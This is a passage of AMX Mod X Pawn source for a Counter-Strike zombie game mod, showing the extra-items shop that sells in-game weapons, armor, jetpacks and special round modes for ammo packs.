					return 0;
				}
				MakeHuman(iPlayer, false, false);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
			}
			case 1:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					give_item(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Fire Grenade!");
				}
			}
			case 2:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 25, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					give_item(iPlayer, "weapon_flashbang");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Freeze Grenade!");
				}
			}
			case 3:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 9, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					give_item(iPlayer, "weapon_smokegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Grenade!");
				}
			}
			case 4:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					give_item(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
				}
			}
			case 5:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetZombies())
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one! [ Use your^3 Fire Grenade^1 before ]");
				}
				else
				{
					g_bKilling[iPlayer] = true;
					give_item(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Killing Grenade!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought a^4 Killing Grenade", g_cName[iPlayer]);
				}
			}
			case 6:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 20, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					drop_weapons(iPlayer, 1)
					give_item(iPlayer, "weapon_m249");
					cs_set_user_bpammo(iPlayer, 20, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
				}
			}
			case 7:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 24, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					drop_weapons(iPlayer, 1)
					give_item(iPlayer, "weapon_g3sg1");
					cs_set_user_bpammo(iPlayer, 24, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
				}
			}
			case 8:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 13, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					drop_weapons(iPlayer, 1)
					give_item(iPlayer, "weapon_sg550");
					cs_set_user_bpammo(iPlayer, 13, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
				}
			}
			case 9:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 18, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					drop_weapons(iPlayer, 1)
					give_item(iPlayer, "weapon_awp");
					cs_set_user_bpammo(iPlayer, 18, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
				}
			}
			case 10:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bFlash[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bFlashEnabled[iPlayer] = true;
					g_bFlash[iPlayer] = true;
					remove_task(iPlayer + 350, 0);
					set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
				}
			}
			case 11:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bNoDamage[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bNoDamage[iPlayer] = true;
					client_cmd(iPlayer, "spk ZombieOutstanding/zombie_madness");
					fm_set_rendering ( iPlayer, kRenderFxGlowShell, 250, 0 , 0, kRenderNormal, 62  );
					set_task(4.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Zombie Madness", g_cName[iPlayer]);
				}
			}
			case 12:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (get_user_jetpack(iPlayer))
				{
					user_drop_jetpack(iPlayer, 1);
				}
				set_user_jetpack(iPlayer, 1);
				set_user_fuel(iPlayer, 250.0);
				client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 CTR+SPACE^1 to fly!");
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 RIGHT CLICK^1 to shoot!");
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
			}
			case 13:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bUnlimitedClip[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bUnlimitedClip[iPlayer] = 1;
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
				}
			}
			case 14:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (120 < get_user_armor(iPlayer))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					set_user_armor(iPlayer, get_user_armor(iPlayer) + 100);
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
				}
			}
			case 15:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (120 < get_user_armor(iPlayer))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					set_user_armor(iPlayer, get_user_armor(iPlayer) + 200);
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
				}
			}
			case 16:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				g_iMaxJumps[iPlayer]++;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iMaxJumps[iPlayer] + 1);
			}
			case 17:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bTryder[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bTryder[iPlayer] = true;
					strip_user_weapons(iPlayer);
					set_user_armor(iPlayer, 666);
					set_user_health(iPlayer, 666);
					give_item(iPlayer, "weapon_knife");
					give_item(iPlayer, "weapon_deagle");
					give_item(iPlayer, "weapon_xm1014");
					give_item(iPlayer, "weapon_g3sg1");
					give_item(iPlayer, "weapon_ak47");
					give_item(iPlayer, "weapon_hegrenade");
					give_item(iPlayer, "weapon_flashbang");
					give_item(iPlayer, "weapon_smokegrenade");
					cs_set_user_bpammo(iPlayer, 26, 9999);
					cs_set_user_bpammo(iPlayer, 5, 9999);
					cs_set_user_bpammo(iPlayer, 24, 9999);
					cs_set_user_bpammo(iPlayer, 28, 9999);
					g_bUnlimitedClip[iPlayer] = 1;
					set_glow(iPlayer, 19, 60, 155, 48, 255);
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
					ExecuteHamB(Ham_Item_PreFrame, iPlayer);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 is now a^4 Tryder", g_cName[iPlayer]);
				}
			}
			case 18:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bGolden[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bGolden[iPlayer] = true;
					if (60 > get_user_armor(iPlayer))
					{
						set_user_armor(iPlayer, 60);
					}
					if (175 > get_user_health(iPlayer))
					{
						set_user_health(iPlayer, 175);
					}
					if (!user_has_weapon(iPlayer, 28, -1))
					{
						give_item(iPlayer, "weapon_ak47");
						cs_set_user_bpammo(iPlayer, 28, 9999);
					}
					g_bUnlimitedClip[iPlayer] = 1;
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");					
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					client_cmd(iPlayer, "weapon_ak47");
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Kalashnikov (AK-47)", g_cName[iPlayer]);
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Kalashnikov^3 (AK-47)", g_cName[iPlayer]);
				}
			}
			case 19:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bGoldenDeagle[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bGoldenDeagle[iPlayer] = true;
					if (60 > get_user_armor(iPlayer))
					{
						set_user_armor(iPlayer, 60);
					}
					if (175 > get_user_health(iPlayer))
					{
						set_user_health(iPlayer, 175);
					}
					if (!user_has_weapon(iPlayer, 26, -1))
					{
						give_item(iPlayer, "weapon_deagle");
						cs_set_user_bpammo(iPlayer, 26, 9999);
					}
					g_bUnlimitedClip[iPlayer] = 1;
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					client_cmd(iPlayer, "weapon_deagle");
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Desert Eagle (Night Hawk)", g_cName[iPlayer]);
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Desert Eagle^3 (Night Hawk)", g_cName[iPlayer]);
				}
			}
			case 20:
			{
				if (g_iSurvivors)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a survivor this map!");
					return 0;
				}
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				static cTime[3];
				static i;
				static bool:bDone;
				static Float:fGameTime;
				fGameTime = get_gametime();
				bDone = true;
				get_time("%H", cTime, 3);
				i = 0;
				while (i < g_iModeRecordings)
				{
					if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
					{
						bDone = false;
					}
					i += 1;
				}
				if (!bDone)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
					}
					if (cTime[0] == 48)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Survivor^1 during night...");
					}
					if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						remove_task(550, 0);
						StartSurvivorMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor!", g_cName[iPlayer]);
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Survivor", g_cName[iPlayer]);
						copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
						g_iModeRecordings += 1;
						g_iSurvivors += 1;
					}
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
				}
			}
			case 21:
			{
				if (g_iSnipers)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a sniper this map!");
					return 0;
				}
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				static cTime[3];
				static i;
				static bool:bDone;
				static Float:fGameTime;
				fGameTime = get_gametime();
				bDone = true;
				get_time("%H", cTime, 3);
				i = 0;
				while (i < g_iModeRecordings)
				{
					if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
					{
						bDone = false;
					}
					i += 1;
				}
				if (!bDone)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
					}
					if (cTime[0] == 48)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Sniper^1 during night...");
					}
					if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						remove_task(550, 0);
						StartSniperMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper!", g_cName[iPlayer]);
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Sniper", g_cName[iPlayer]);
						copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
						g_iModeRecordings += 1;
						g_iSnipers += 1;
					}
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
				}
			}
			case 22:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				static i;
				static bool:bDone;
				static Float:fGameTime;
				fGameTime = get_gametime();
				bDone = true;
				i = 0;
				while (i < g_iModeRecordings)
				{
					if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
					{
						bDone = false;
					}
					i += 1;
				}
				if (!bDone)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
					}
					if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						remove_task(550, 0);
						StartNemesisMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis!", g_cName[iPlayer]);
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Nemesis", g_cName[iPlayer]);
						copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
						g_iModeRecordings += 1;
					}
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
				}
			}
			case 23:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				static i;
				static bool:bDone;
				static Float:fGameTime;
				fGameTime = get_gametime();
				bDone = true;
				i = 0;
				while (i < g_iModeRecordings)
				{
					if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
					{
						bDone = false;
					}
					i += 1;
				}
				if (!bDone)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
